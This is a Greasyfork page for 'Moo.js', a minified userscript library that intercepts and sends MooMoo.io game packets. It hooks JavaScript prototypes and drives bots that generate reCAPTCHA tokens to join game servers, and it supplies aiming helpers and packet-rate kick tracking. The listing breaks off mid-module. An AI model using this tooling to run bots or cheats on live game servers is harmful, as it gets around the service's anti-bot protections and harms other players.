Moo.js

MooMoo packet

此脚本不应直接安装,它是一个供其他脚本使用的外部库。如果您需要使用该库,请在脚本元属性加入:// @require https://update.cn-greasyfork.org/scripts/468598/1204625/Moojs.js

  1. // ==UserScript==
  2. // @name Moo.js
  3. // @version 0.1
  4. // @description MooMoo packet
  5. // @author _VcrazY_
  6. // @license MIT
  7. // ==/UserScript==
  8. (() => {
  9. var e = {
  10. 5613(e) {
  11. var t;
  12. (t = function (e) {
  13. var t, o, a, r, i;
  14. for (i = [], r = 0, a = 0; a < e.length; )
  15. "\n" === (o = e[a]) &&
  16. ((t = e.substring(r, a)), i.push(t), (r = a + 1)),
  17. a++;
  18. return r < e.length && ((t = e.substring(r)), i.push(t)), i;
  19. }),
  20. (e.exports = t);
  21. },
  22. 366(e, t, o) {
  23. "use strict";
  24.  
  25. Object.defineProperty(t, "__esModule", {
  26. value: !0,
  27. }),
  28. (t.MooMoo = void 0);
  29. let a = Function.prototype;
  30. if (((t.MooMoo = a[69]), !t.MooMoo)) {
  31. let r = o(3607).Z,
  32. i = o(8351).updateHookPosition,
  33. n = o(5919).Z;
  34. (t.MooMoo = new r()),
  35. Object.defineProperty(Function.prototype, 69, {
  36. get: () => t.MooMoo,
  37. });
  38. let s = Symbol();
  39. Object.defineProperty(Object.prototype, "x", {
  40. set(e) {
  41. (this[s] = e), i.call(this, e);
  42. },
  43. get() {
  44. return this[s];
  45. },
  46. }),
  47. n();
  48. }
  49. },
  50. 3607(e, t, o) {
  51. "use strict";
  52.  
  53. var a;
  54. a = {
  55. value: !0,
  56. };
  57. let r = o(8516),
  58. i = o(550),
  59. n = o(597),
  60. s = o(5852),
  61. l = o(4e3),
  62. c = o(8350),
  63. d = o(2659),
  64. u = o(484),
  65. f = o(2298),
  66. M = o(112),
  67. $ = o(8183),
  68. m = o(4190);
  69. class p extends r.default {
  70. constructor() {
  71. super(),
  72. (this.teams = []),
  73. (this.myPlayer = {}),
  74. (this.statistics = {}),
  75. (this.DidInit = !1),
  76. (this.GamePlayerManager = new n.default()),
  77. (this.ActivePlayerManager = new n.default()),
  78. (this.LeaderboardManager = new s.default()),
  79. (this.GameObjectManager = new l.default()),
  80. (this.CommandManager = new c.default()),
  81. (this.PacketManager = new d.default()),
  82. (this.PacketInterceptor = new m.default()),
  83. (this.BotManager = u.default.instance),
  84. (this.UTILS = new $.default()),
  85. (this.vars = {}),
  86. (this.msgpack = {}),
  87. (this.msgpack.decode = f.default),
  88. (this.msgpack.encode = M.default),
  89. (this.vars.gameLoaded = !1);
  90. }
  91. debug(e) {
  92. this.emit("debug", e);
  93. }
  94. }
  95. (t.Z = p), (0, i.default)();
  96. },
  97. 5852(e, t, o) {
  98. "use strict";
  99.  
  100. Object.defineProperty(t, "__esModule", {
  101. value: !0,
  102. });
  103. let a = o(627),
  104. r = o(366),
  105. i = o(9347);
  106. t.default = class e {
  107. constructor() {
  108. this.leaderboard = new Map();
  109. }
  110. updateLeaderboard(e) {
  111. let t = (0, a.default)(e, 3);
  112. e.length,
  113. t.forEach((e, t) => {
  114. let o = r.MooMoo.GamePlayerManager.getPlayerBySid(e[0]);
  115. o ||
  116. (((o = new i.default(e[0])).sid = e[0]),
  117. (o.name = e[1]),
  118. r.MooMoo.GamePlayerManager.addPlayer(o)),
  119. this.leaderboard.set(t + 1, {
  120. player: o,
  121. sid: e[0],
  122. name: e[1],
  123. score: e[2],
  124. });
  125. });
  126. }
  127. clearLeaderboard() {
  128. this.leaderboard = new Map();
  129. }
  130. };
  131. },
  132. 4e3(e, t, o) {
  133. "use strict";
  134.  
  135. Object.defineProperty(t, "__esModule", {
  136. value: !0,
  137. });
  138. let a = o(366),
  139. r = o(7809);
  140. t.default = class e {
  141. constructor() {
  142. this.objects = new Map();
  143. }
  144. addObject(e) {
  145. let t = a.MooMoo.GameObjectManager.getGameObjectBySid(e.sid);
  146. t || (t = new r.default(e.sid)),
  147. (t.x = e.x),
  148. (t.y = e.y),
  149. (t.ownerSid = e.ownerSid),
  150. (t.type = e.type),
  151. (t.sid = e.sid),
  152. this.objects.set(e.sid, t);
  153. }
  154. getGameObjectBySid(e) {
  155. return this.objects.get(e);
  156. }
  157. getObjectsByOwnerSid(e) {
  158. let t = [];
  159. return (
  160. this.objects.forEach((o) => {
  161. o.ownerSid == e && t.push(o);
  162. }),
  163. t
  164. );
  165. }
  166. removeObjectBySid(e) {
  167. this.objects.delete(e);
  168. }
  169. removeObjectsByOwnerSid(e) {
  170. this.objects.forEach((t) => {
  171. t.ownerSid == e && this.objects.delete(t.sid);
  172. });
  173. }
  174. };
  175. },
  176. 4190(e, t, o) {
  177. "use strict";
  178.  
  179. Object.defineProperty(t, "__esModule", {
  180. value: !0,
  181. });
  182. let a = o(550);
  183. t.default = class e {
  184. constructor() {
  185. (this.clientCallbacks = new Map()),
  186. (this.serverCallbacks = new Map()),
  187. (this.lastCallbackId = 0);
  188. }
  189. addCallback(e, t) {
  190. let o;
  191. "client" === e
  192. ? (o = this.clientCallbacks)
  193. : "server" === e && (o = this.serverCallbacks);
  194. let a = this.lastCallbackId++;
  195. return o.set(a, t), a;
  196. }
  197. removeCallback(e) {
  198. this.clientCallbacks.delete(e), this.serverCallbacks.delete(e);
  199. }
  200. applyClientCallbacks(e) {
  201. if (!this.clientCallbacks.size) return e;
  202. for (let [t, o] of this.clientCallbacks) e = o(e) || e;
  203. return e;
  204. }
  205. applyServerCallbacks(e) {
  206. if (!this.serverCallbacks.size) return e;
  207. for (let [t, o] of this.serverCallbacks) e = o(e);
  208. return e;
  209. }
  210. getOriginalServerCallback() {
  211. return a.onmessagecallback;
  212. }
  213. };
  214. },
  215. 2659(e, t, o) {
  216. "use strict";
  217.  
  218. Object.defineProperty(t, "__esModule", {
  219. value: !0,
  220. });
  221. let a = o(8516);
  222. class r extends a.default {
  223. constructor() {
  224. super(),
  225. (this._packetCountPerMinute = 0),
  226. (this._packetCountPerSecond = 0),
  227. (this._packetTime = 60),
  228. (this._packetLimitPerMinute = 5400),
  229. (this._packetLimitPerSecond = 120);
  230. }
  231. initialize() {
  232. this._startTimerPerMinute(), this._startTimerPerSecond();
  233. }
  234. addPacket() {
  235. this._packetCountPerSecond++, this._packetCountPerMinute++;
  236. let e = this.getKickPercentagePerMinute(),
  237. t = this.getKickPercentagePerSecond();
  238. e >= 100 && this.emit("Kick", this),
  239. t >= 100 && this.emit("Kick", this),
  240. this.emit("update", this);
  241. }
  242. getKickPercentagePerMinute() {
  243. return (
  244. (this._packetCountPerMinute / this._packetLimitPerMinute) * 100
  245. );
  246. }
  247. getKickPercentagePerSecond() {
  248. return (
  249. (this._packetCountPerSecond / this._packetLimitPerSecond) * 100
  250. );
  251. }
  252. getPacketCountPerMinute() {
  253. return this._packetCountPerMinute;
  254. }
  255. getPacketCountPerSecond() {
  256. return this._packetCountPerSecond;
  257. }
  258. getPacketTime() {
  259. return this._packetTime;
  260. }
  261. _startTimerPerMinute() {
  262. this._intervalIdPerMinute = setInterval(() => {
  263. this._resetPacketCountPerMinute();
  264. }, 6e4);
  265. }
  266. _startTimerPerSecond() {
  267. this._intervalIdPerSecond = setInterval(() => {
  268. this._packetCountPerSecond > this._packetLimitPerSecond &&
  269. this.emit("Kick", this.getKickPercentagePerSecond()),
  270. this._resetPacketCountPerSecond();
  271. }, 1e3);
  272. }
  273. _resetPacketCountPerMinute() {
  274. (this._packetCountPerMinute = 0), (this._packetTime = 60);
  275. }
  276. _resetPacketCountPerSecond() {
  277. this._packetCountPerSecond = 0;
  278. }
  279. }
  280. t.default = r;
  281. },
  282. 597(e, t, o) {
  283. "use strict";
  284.  
  285. Object.defineProperty(t, "__esModule", {
  286. value: !0,
  287. });
  288. let a = o(366);
  289. t.default = class e {
  290. constructor() {
  291. this.players = [];
  292. }
  293. addPlayer(e) {
  294. this.players.push(e);
  295. }
  296. removePlayer(e) {
  297. this.players.splice(this.players.indexOf(e), 1);
  298. }
  299. removePlayerBySid(e) {
  300. this.players.splice(
  301. this.players.findIndex((t) => t.sid === e),
  302. 1
  303. );
  304. }
  305. removePlayerById(e) {
  306. this.players.splice(
  307. this.players.findIndex((t) => t.id === e),
  308. 1
  309. );
  310. }
  311. getPlayerBySid(e) {
  312. return this.players.find((t) => t.sid === e);
  313. }
  314. getPlayerById(e) {
  315. return this.players.find((t) => t.id === e);
  316. }
  317. getPlayerByName(e) {
  318. let t = this.players.filter((t) => t.name === e);
  319. return t.length > 1 ? t : t[0];
  320. }
  321. clearPlayers() {
  322. this.players = [];
  323. }
  324. updatePlayer(e, t) {
  325. let o = this.getPlayerBySid(e);
  326. o && Object.assign(o, t);
  327. }
  328. getEnemies() {
  329. return this.players.filter((e) => {
  330. if (
  331. e.id !== a.MooMoo.myPlayer.id &&
  332. (null === e.team || e.team !== a.MooMoo.myPlayer.team)
  333. )
  334. return !0;
  335. });
  336. }
  337. getTeammates() {
  338. return this.players.filter((e) => {
  339. if (
  340. e.id !== a.MooMoo.myPlayer.id &&
  341. e.team === a.MooMoo.myPlayer.team
  342. )
  343. return !0;
  344. });
  345. }
  346. getClosestEnemy() {
  347. let e = this.getEnemies(),
  348. t = e[0];
  349. return e
  350. ? (e.forEach((e) => {
  351. a.MooMoo.UTILS.getDistanceBetweenTwoPoints(
  352. a.MooMoo.myPlayer.x,
  353. a.MooMoo.myPlayer.y,
  354. e.x,
  355. e.y
  356. ) <
  357. a.MooMoo.UTILS.getDistanceBetweenTwoPoints(
  358. a.MooMoo.myPlayer.x,
  359. a.MooMoo.myPlayer.y,
  360. t.x,
  361. t.y
  362. ) && (t = e);
  363. }),
  364. t)
  365. : null;
  366. }
  367. getClosestTeammate() {
  368. let e = this.getTeammates(),
  369. t = e[0];
  370. return e
  371. ? (e.forEach((e) => {
  372. a.MooMoo.UTILS.getDistanceBetweenTwoPoints(
  373. a.MooMoo.myPlayer.x,
  374. a.MooMoo.myPlayer.y,
  375. e.x,
  376. e.y
  377. ) <
  378. a.MooMoo.UTILS.getDistanceBetweenTwoPoints(
  379. a.MooMoo.myPlayer.x,
  380. a.MooMoo.myPlayer.y,
  381. t.x,
  382. t.y
  383. ) && (t = e);
  384. }),
  385. t)
  386. : null;
  387. }
  388. getClosestPlayer() {
  389. let e = this.players[0];
  390. return this.players
  391. ? (this.players.forEach((t) => {
  392. a.MooMoo.UTILS.getDistanceBetweenTwoPoints(
  393. a.MooMoo.myPlayer.x,
  394. a.MooMoo.myPlayer.y,
  395. t.x,
  396. t.y
  397. ) <
  398. a.MooMoo.UTILS.getDistanceBetweenTwoPoints(
  399. a.MooMoo.myPlayer.x,
  400. a.MooMoo.myPlayer.y,
  401. e.x,
  402. e.y
  403. ) && (e = t);
  404. }),
  405. e)
  406. : null;
  407. }
  408. getClosestEnemyToPlayer(e) {
  409. let t = this.getEnemies(),
  410. o = t[0];
  411. return t
  412. ? (t.forEach((t) => {
  413. a.MooMoo.UTILS.getDistanceBetweenTwoPoints(
  414. e.x,
  415. e.y,
  416. t.x,
  417. t.y
  418. ) <
  419. a.MooMoo.UTILS.getDistanceBetweenTwoPoints(
  420. e.x,
  421. e.y,
  422. o.x,
  423. o.y
  424. ) && (o = t);
  425. }),
  426. o)
  427. : null;
  428. }
  429. getClosestEnemyAngle() {
  430. let e = this.getClosestEnemy();
  431. return e
  432. ? a.MooMoo.UTILS.getAngleBetweenTwoPoints(
  433. a.MooMoo.myPlayer.x,
  434. a.MooMoo.myPlayer.y,
  435. e.x,
  436. e.y
  437. )
  438. : null;
  439. }
  440. getClosestEnemyDistance() {
  441. let e = this.getClosestEnemy();
  442. return e
  443. ? a.MooMoo.UTILS.getDistanceBetweenTwoPoints(
  444. a.MooMoo.myPlayer.x,
  445. a.MooMoo.myPlayer.y,
  446. e.x,
  447. e.y
  448. )
  449. : null;
  450. }
  451. };
  452. },
  453. 8183(e, t) {
  454. "use strict";
  455.  
  456. Object.defineProperty(t, "__esModule", {
  457. value: !0,
  458. });
  459. class o {
  460. static getDistanceBetweenTwoPoints(e, t, o, a) {
  461. return Math.sqrt(Math.pow(o - e, 2) + Math.pow(a - t, 2));
  462. }
  463. static getAngleBetweenTwoPoints(e, t, o, a) {
  464. return Math.atan2(a - t, o - e);
  465. }
  466. static atan2(e, t, o, a) {
  467. return Math.atan2(a - t, o - e);
  468. }
  469. constructor() {
  470. (this.getDistanceBetweenTwoPoints = o.getDistanceBetweenTwoPoints),
  471. (this.dist = o.getDistanceBetweenTwoPoints),
  472. (this.distance = o.getDistanceBetweenTwoPoints),
  473. (this.atan2 = o.atan2),
  474. (this.angle = o.atan2),
  475. (this.getAngleBetweenTwoPoints = o.getAngleBetweenTwoPoints);
  476. }
  477. }
  478. t.default = o;
  479. },
  480. 8350(e, t, o) {
  481. "use strict";
  482.  
  483. Object.defineProperty(t, "__esModule", {
  484. value: !0,
  485. });
  486. let a = o(1552);
  487. t.default = class e {
  488. constructor() {
  489. (this.commands = {}), (this.prefix = "/");
  490. }
  491. setPrefix(e) {
  492. this.prefix = e;
  493. }
  494. registerCommand(e, t) {
  495. let o = new a.default(e, t);
  496. this.commands[e] = o;
  497. }
  498. unregisterCommand(e) {
  499. delete this.commands[e];
  500. }
  501. };
  502. },
  503. 8516(e, t) {
  504. "use strict";
  505.  
  506. Object.defineProperty(t, "__esModule", {
  507. value: !0,
  508. }),
  509. (t.default = class e {
  510. constructor() {
  511. this._listeners = {};
  512. }
  513. on(e, t) {
  514. this._listeners[e] || (this._listeners[e] = []),
  515. this._listeners[e].push(t);
  516. }
  517. once(e, t) {
  518. this.on(e, function o(...a) {
  519. this.off(e, o), t(...a);
  520. });
  521. }
  522. emit(e, ...t) {
  523. this._listeners[e] && this._listeners[e].forEach((e) => e(...t));
  524. }
  525. addEventListener(e, t) {
  526. this.on(e, t);
  527. }
  528. });
  529. },
  530. 3748(e, t, o) {
  531. "use strict";
  532.  
  533. Object.defineProperty(t, "__esModule", {
  534. value: !0,
  535. });
  536. let a = o(366);
  537. t.default = function e() {
  538. a.MooMoo.myPlayer.inventory = {};
  539. let t = [
  540. {
  541. category: "primary",
  542. start: 0,
  543. end: 9,
  544. },
  545. {
  546. category: "secondary",
  547. start: 9,
  548. end: 16,
  549. },
  550. {
  551. category: "food",
  552. start: 16,
  553. end: 19,
  554. subtract: !0,
  555. },
  556. {
  557. category: "wall",
  558. start: 19,
  559. end: 22,
  560. subtract: !0,
  561. },
  562. {
  563. category: "spike",
  564. start: 22,
  565. end: 26,
  566. subtract: !0,
  567. },
  568. {
  569. category: "mill",
  570. start: 26,
  571. end: 29,
  572. subtract: !0,
  573. },
  574. {
  575. category: "mine",
  576. start: 29,
  577. end: 31,
  578. subtract: !0,
  579. },
  580. {
  581. category: "boostPad",
  582. start: 31,
  583. end: 33,
  584. subtract: !0,
  585. },
  586. {
  587. category: "trap",
  588. start: 31,
  589. end: 33,
  590. subtract: !0,
  591. },
  592. {
  593. category: "turret",
  594. start: 33,
  595. end: 39,
  596. subtract: !0,
  597. },
  598. {
  599. category: "spawnPad",
  600. start: 36,
  601. end: 37,
  602. subtract: !0,
  603. },
  604. ];
  605. for (let o = 0; o < t.length; o++) {
  606. let { category: r, start: i, end: n, subtract: s } = t[o];
  607. for (let l = i; l < n; l++) {
  608. let c = document.getElementById(`actionBarItem${l}`);
  609. if (c && null !== c.offsetParent) {
  610. a.MooMoo.myPlayer.inventory[r] = s ? l - 16 : l;
  611. break;
  612. }
  613. }
  614. }
  615. };
  616. },
  617. 627(e, t) {
  618. "use strict";
  619.  
  620. Object.defineProperty(t, "__esModule", {
  621. value: !0,
  622. }),
  623. (t.default = function e(t, o) {
  624. let a = [];
  625. for (let r = 0; r < t.length; r += o) a.push(t.slice(r, r + o));
  626. return a;
  627. });
  628. },
  629. 9127: function (e, t, o) {
  630. "use strict";
  631.  
  632. var a =
  633. (this && this.__awaiter) ||
  634. function (e, t, o, a) {
  635. return new (o || (o = Promise))(function (r, i) {
  636. function n(e) {
  637. try {
  638. l(a.next(e));
  639. } catch (t) {
  640. i(t);
  641. }
  642. }
  643. function s(e) {
  644. try {
  645. l(a.throw(e));
  646. } catch (t) {
  647. i(t);
  648. }
  649. }
  650. function l(e) {
  651. var t;
  652. e.done
  653. ? r(e.value)
  654. : ((t = e.value) instanceof o
  655. ? t
  656. : new o(function (e) {
  657. e(t);
  658. })
  659. ).then(n, s);
  660. }
  661. l((a = a.apply(e, t || [])).next());
  662. });
  663. };
  664. Object.defineProperty(t, "__esModule", {
  665. value: !0,
  666. });
  667. let r = o(8516),
  668. i = o(4455),
  669. n = o(3292),
  670. s = o(366);
  671. class l extends r.default {
  672. constructor(e = !1, t) {
  673. super(),
  674. (this.connected = !1),
  675. e
  676. ? ((this.name = t.name),
  677. (this.skin = t.skin),
  678. (this.moofoll = t.moofoll))
  679. : ((this.name = "Bot"), (this.skin = 0), (this.moofoll = !1)),
  680. (this.gameID = null);
  681. }
  682. generateToken() {
  683. return a(this, void 0, void 0, function* () {
  684. try {
  685. return yield window.grecaptcha.execute(
  686. "6LevKusUAAAAAAFknhlV8sPtXAk5Z5dGP5T2FYIZ",
  687. {
  688. action: "homepage",
  689. }
  690. );
  691. } catch (e) {
  692. throw e;
  693. }
  694. });
  695. }
  696. join(e) {
  697. return a(this, void 0, void 0, function* () {
  698. switch (typeof e) {
  699. case "string": {
  700. let { region: t, index: o } = i.default.parseServer(e),
  701. a = new n.default(t, o);
  702. (this.recaptchaToken = yield this.generateToken()),
  703. a.joinServer(this);
  704. break;
  705. }
  706. case "object":
  707. if (Array.isArray(e)) {
  708. let [r, s] = e,
  709. l = new n.default(r, s);
  710. (this.recaptchaToken = yield this.generateToken()),
  711. l.joinServer(this);
  712. } else {
  713. let { region: c, index: d } = e,
  714. u = new n.default(c, d);
  715. (this.recaptchaToken = yield this.generateToken()),
  716. u.joinServer(this);
  717. }
  718. }
  719. });
  720. }
  721. spawn() {
  722. this.ws.send(
  723. s.MooMoo.msgpack.encode([
  724. "sp",
  725. [
  726. {
  727. name: this.name,
  728. skin: this.skin,
  729. moofoll: this.moofoll,
  730. },
  731. ],
  732. ])
  733. );
  734. }
  735. onConnect(e) {
  736. this.emit("connected", e), (this.connected = !0);
  737. }
  738. sendPacket(e) {
  739. let t = Array.prototype.slice.call(arguments, 1);
  740. this.ws.send(s.MooMoo.msgpack.encode([e, t]));
  741. }
  742. }
  743. t.default = l;
  744. },
  745. 484(e, t, o) {
  746. "use strict";
  747.  
  748. Object.defineProperty(t, "__esModule", {
  749. value: !0,
  750. });
  751. let a = o(9127);
  752. class r {
  753. constructor() {
  754. (this._bots = new Map()),
  755. (this._botIdCounter = 0),
  756. (this.Bot = a.default);
  757. }
  758. static get instance() {
  759. return r._instance || (r._instance = new r()), r._instance;
  760. }
  761. addBot(e) {
  762. let t = this._botIdCounter++;
  763. return (e.id = t), this._bots.set(t, e), t;
  764. }
  765. removeBot(e) {
  766. this._bots.delete(e);
  767. }
  768. getBot(e) {
  769. return this._bots.get(e);
  770. }
  771. }
  772. t.default = r;
  773. },
  774. 3292(e, t, o) {
  775. "use strict";
  776.  
  777. Object.defineProperty(t, "__esModule", {
  778. value: !0,
  779. });
  780. let a = o(4455),
  781. r = o(366),
  782. i = o(627);
  783. t.default = class e {
  784. constructor(e, t) {
  785. (this._region = e), (this._index = t), this.parseServerData();
  786. }
  787. get region() {
  788. return this._region;
  789. }
  790. set region(e) {
  791. this._region = e;
  792. }
  793. get index() {
  794. return this._index;
  795. }
  796. set index(e) {
  797. this._index = e;
  798. }
  799. parseServerData() {
  800. if (!window.vultr || !window.vultr.servers) {
  801. console.log("vultr or vultr.servers object not found in window");
  802. return;
  803. }
  804. let e = "vultr:" + this._region.toString(),
  805. t = window.vultr.servers,
  806. o;
  807. for (let a = 0; a < t.length; a++) {
  808. let r = t[a];
  809. if (!r.region || !r.index) {
  810. console.log("currentServer missing required properties");
  811. continue;
  812. }
  813. if (r.region === e && r.index === this._index) {
  814. o = r;
  815. break;
  816. }
  817. }
  818. if (!o) {
  819. console.log("Server not found");
  820. return;
  821. }
  822. if (!o.region || !o.index) {
  823. console.log("targetServer missing required properties");
  824. return;
  825. }
  826. (this.name = o.region + ":" + o.index), (this.ip = o.ip);
  827. }
  828. getWebSocketUrl(e) {
  829. if (this.ip && e)
  830. return (
  831. "wss://ip_" +
  832. this.ip +
  833. ".moomoo.io:8008/?gameIndex=0&token=" +
  834. e
  835. );
  836. {
  837. let t = a.default.instance.getCurrentServer();
  838. if (t)
  839. return (
  840. "wss://ip_" + t.ip + ".moomoo.io:8008/?gameIndex=0&token=" + e
  841. );
  842. }
  843. }
  844. joinServer(e) {
  845. let t = this.getWebSocketUrl(e.recaptchaToken),
  846. o = new WebSocket(t);
  847. (o.binaryType = "arraybuffer"),
  848. (o.onopen = () => {
  849. e.ws = o;
  850. }),
  851. o.addEventListener("message", (t) => {
  852. let o = new Uint8Array(t.data),
  853. [a, [...n]] = r.MooMoo.msgpack.decode(o);
  854. e.emit("packet", {
  855. packet: a,
  856. data: n,
  857. }),
  858. "io-init" == a && e.onConnect(this),
  859. "2" != a || e.gameID || (e.gameID = n[0][1]),
  860. "33" == a &&
  861. (0, i.default)(n[0], 13).forEach((t) => {
  862. t[0] == e.gameID && ((e.x = t[1]), (e.y = t[2]));
  863. });
  864. });
  865. }
  866. };
  867. },
  868. 4455(e, t, o) {
  869. "use strict";
  870.  
  871. Object.defineProperty(t, "__esModule", {
  872. value: !0,
  873. });
  874. let a = o(3292),
  875. r = o(366);
  876. class i {
  877. constructor() {
  878. (this.index = 0),
  879. (this.region = 0),
  880. (this.name = ""),
  881. (this.ip = ""),
  882. (this.players = 0),
  883. (this.wsurl = "");
  884. }
  885. static get instance() {
  886. return i._instance || (i._instance = new i()), i._instance;
  887. }
  888. static startInterval() {
  889. setInterval(() => {
  890. let e = r.MooMoo.ServerManager;
  891. e || (r.MooMoo.ServerManager = i.instance),
  892. (e = r.MooMoo.ServerManager) &&
  893. r.MooMoo.ServerManager.initalize();
  894. }, 200);
  895. }
  896. initalize() {
  897. this.calculateServer();
  898. }
  899. getCurrentServer() {
  900. return new a.default(this.region, this.index);
  901. }
  902. calculateServer() {
  903. let e = this.extractRegionAndIndex();
  904. e.region &&
  905. e.index &&
  906. ((this.region = e.region), (this.index = e.index));
  907. }
  908. extractRegionAndIndex() {
  909. let e = window.location.href.match(/server=(\d+):(\d+)/);
  910. if (e) {
  911. let t = parseInt(e[1], 10),
  912. o = parseInt(e[2], 10);
  913. return {
  914. region: t,
  915. index: o,
  916. };
  917. }
  918. return {
  919. region: null,
  920. index: null,
  921. };
  922. }
  923. static parseServer(e) {
  924. let t = e.split(":"),
  925. o = parseInt(t[0], 10),
  926. a = parseInt(t[1], 10);
  927. return {
  928. region: o,
  929. index: a,
  930. };
  931. }
  932. }
  933. t.default = i;
  934. },
  935. 8106(e, t, o) {
  936. "use strict";
  937.  
  938. Object.defineProperty(t, "__esModule", {
  939. value: !0,
  940. });
  941. let a = o(366),
  942. r = o(2416);
  943. t.default = function e(t) {
  944. if ("number" == typeof t)
  945. !(function e(t) {
  946. let o = !1;
  947. if (
  948. (r.default.find((e) => {
  949. e.id == t && ((o = !0), a.MooMoo.sendPacket("13c", 1, t, 1));
  950. }),
  951. !o)
  952. )
  953. try {
  954. throw Error(
  955. "Error at buyAccessoryById: Accessory with id " +
  956. t +
  957. " does not exist"
  958. );
  959. } catch (i) {
  960. console.log(i);
  961. }
  962. })(t);
  963. else if ("string" == typeof t)
  964. !(function e(t) {
  965. let o = !1;
  966. if (
  967. (r.default.find((e) => {
  968. e.name == t &&
  969. ((o = !0), a.MooMoo.sendPacket("13c", 1, e.id, 1));
  970. }),
  971. !o)
  972. )
  973. try {
  974. throw Error(
  975. "Error at buyAccessoryByName: Accessory with name " +
  976. t +
  977. " does not exist"
  978. );
  979. } catch (i) {
  980. console.log(i);
  981. }
  982. })(t);
  983. else
  984. try {
  985. throw Error(
  986. "Error at buyAccessory: accessoryData must be a number or string"
  987. );
  988. } catch (o) {
  989. console.log(o);
  990. }
  991. };
  992. },
  993. 3269(e, t, o) {
  994. "use strict";
  995.  
  996. Object.defineProperty(t, "__esModule", {
  997. value: !0,
  998. });
  999. let a = o(366),
  1000. r = o(3212);
  1001. t.default = function e(t) {
  1002. if ("number" == typeof t)
  1003. !(function e(t) {
  1004. let o = !1;
  1005. if (
  1006. (r.default.find((e) => {
  1007. e.id == t && ((o = !0), a.MooMoo.sendPacket("13c", 1, t, 0));
  1008. }),
  1009. !o)
  1010. )
  1011. try {
  1012. throw Error(
  1013. "Error at buyHatById: Hat with id " + t + " does not exist"
  1014. );
  1015. } catch (i) {
  1016. console.log(i);
  1017. }
  1018. })(t);
  1019. else if ("string" == typeof t)
  1020. !(function e(t) {
  1021. let o = !1;
  1022. if (
  1023. (r.default.find((e) => {
  1024. e.name == t &&
  1025. ((o = !0), a.MooMoo.sendPacket("13c", 1, e.id, 0));
  1026. }),
  1027. !o)
  1028. )
  1029. try {
  1030. throw Error(
  1031. "Error at buyHatByName: Hat with name " +
  1032. t +
  1033. " does not exist"
  1034. );
  1035. } catch (i) {
  1036. console.log(i);
  1037. }
  1038. })(t);
  1039. else
  1040. try {
  1041. throw Error(
  1042. "Error at buyHat: hatData must be a number or string"
  1043. );
  1044. } catch (o) {
  1045. console.log(o);
  1046. }
  1047. };
  1048. },
  1049. 4218(e, t, o) {
  1050. "use strict";
  1051.  
  1052. Object.defineProperty(t, "__esModule", {
  1053. value: !0,
  1054. });
  1055. let a = o(366);
  1056. t.default = function e(t) {
  1057. a.MooMoo.sendPacket("ch", t);
  1058. };
  1059. },
  1060. 8101(e, t, o) {
  1061. "use strict";
  1062.  
  1063. Object.defineProperty(t, "__esModule", {
  1064. value: !0,
  1065. });
  1066. let a = o(366),
  1067. r = o(2416);
  1068. t.default = function e(t) {
  1069. if ("number" == typeof t)
  1070. !(function e(t) {
  1071. let o = !1;
  1072. if (
  1073. (r.default.find((e) => {
  1074. e.id == t && ((o = !0), a.MooMoo.sendPacket("13c", 0, t, 1));
  1075. }),
  1076. !o)
  1077. )
  1078. try {
  1079. throw Error(
  1080. "Error at equipAccessoryById: Accessory with id " +
  1081. t +
  1082. " does not exist"
  1083. );
  1084. } catch (i) {
  1085. console.log(i);
  1086. }
  1087. })(t);
  1088. else if ("string" == typeof t)
  1089. !(function e(t) {
  1090. let o = !1;
  1091. if (
  1092. (r.default.find((e) => {
  1093. e.name == t &&
  1094. ((o = !0), a.MooMoo.sendPacket("13c", 0, e.id, 1));
  1095. }),
  1096. !o)
  1097. )
  1098. try {
  1099. throw Error(
  1100. "Error at equipAccessoryByName: Accessory with name " +
  1101. t +
  1102. " does not exist"
  1103. );
  1104. } catch (i) {
  1105. console.log(i);
  1106. }
  1107. })(t);
  1108. else
  1109. try {
  1110. throw Error(
  1111. "Error at equipAccessory: accessoryData must be a number or string"
  1112. );
  1113. } catch (o) {
  1114. console.log(o);
  1115. }
  1116. };
  1117. },
  1118. 420(e, t, o) {
  1119. "use strict";
  1120.  
  1121. Object.defineProperty(t, "__esModule", {
  1122. value: !0,
  1123. });
  1124. let a = o(366),
  1125. r = o(3212);
  1126. t.default = function e(t) {
  1127. if ("number" == typeof t)
  1128. !(function e(t) {
  1129. let o = !1;
  1130. if (
  1131. (r.default.find((e) => {
  1132. e.id == t && ((o = !0), a.MooMoo.sendPacket("13c", 0, t, 0));
  1133. }),
  1134. !o)
  1135. )
  1136. try {
  1137. throw Error(
  1138. "Error at equipHatById: Hat with id " +
  1139. t +
  1140. " does not exist"
  1141. );
  1142. } catch (i) {
  1143. console.log(i);
  1144. }
  1145. })(t);
  1146. else if ("string" == typeof t)
  1147. !(function e(t) {
  1148. let o = !1;
  1149. if (
  1150. (r.default.find((e) => {
  1151. e.name == t &&
  1152. ((o = !0), a.MooMoo.sendPacket("13c", 0, e.id, 0));
  1153. }),
  1154. !o)
  1155. )
  1156. try {
  1157. throw Error(
  1158. "Error at equipHatByName: Hat with name " +
  1159. t +
  1160. " does not exist"
  1161. );
  1162. } catch (i) {
  1163. console.log(i);
  1164. }
  1165. })(t);
  1166. else
  1167. try {
  1168. throw Error(
  1169. "Error at equipHat: hatData must be a number or string"
  1170. );
  1171. } catch (o) {
  1172. console.log(o);
  1173. }
  1174. };
  1175. },
  1176. 3044(e, t, o) {
  1177. "use strict";
  1178.  
  1179. Object.defineProperty(t, "__esModule", {
  1180. value: !0,
  1181. });
  1182. let a = o(366);
  1183. t.default = function e(t = null) {
  1184. a.MooMoo.sendPacket("c", 1, t), a.MooMoo.sendPacket("c", 0, t);
  1185. };
  1186. },
  1187. 8595(e, t, o) {
  1188. "use strict";
  1189.  
  1190. Object.defineProperty(t, "__esModule", {
  1191. value: !0,
  1192. });
  1193. let a = o(366);
  1194. t.default = function e(t, o) {
  1195. let r = a.MooMoo.myPlayer.weaponIndex;
  1196. a.MooMoo.sendPacket("5", t, !1),
  1197. a.MooMoo.sendPacket("c", 1, o),
  1198. a.MooMoo.sendPacket("c", 0, o),
  1199. a.MooMoo.sendPacket("5", r, !0);
  1200. };
  1201. },
  1202. 3296(e, t, o) {
  1203. "use strict";
  1204.  
  1205. Object.defineProperty(t, "__esModule", {
  1206. value: !0,
  1207. });
  1208. let a = o(366);
  1209. t.default = function e() {
  1210. a.MooMoo.sendPacket("13c", 0, 0, 1);
  1211. };
  1212. },
  1213. 5088(e, t, o) {
  1214. "use strict";
  1215.  
  1216. Object.defineProperty(t, "__esModule", {
  1217. value: !0,
  1218. });
  1219. let a = o(366);
  1220. t.default = function e() {
  1221. a.MooMoo.sendPacket("13c", 0, 0, 0);
  1222. };
  1223. },
  1224. 4572(e, t) {
  1225. "use strict";
  1226.  
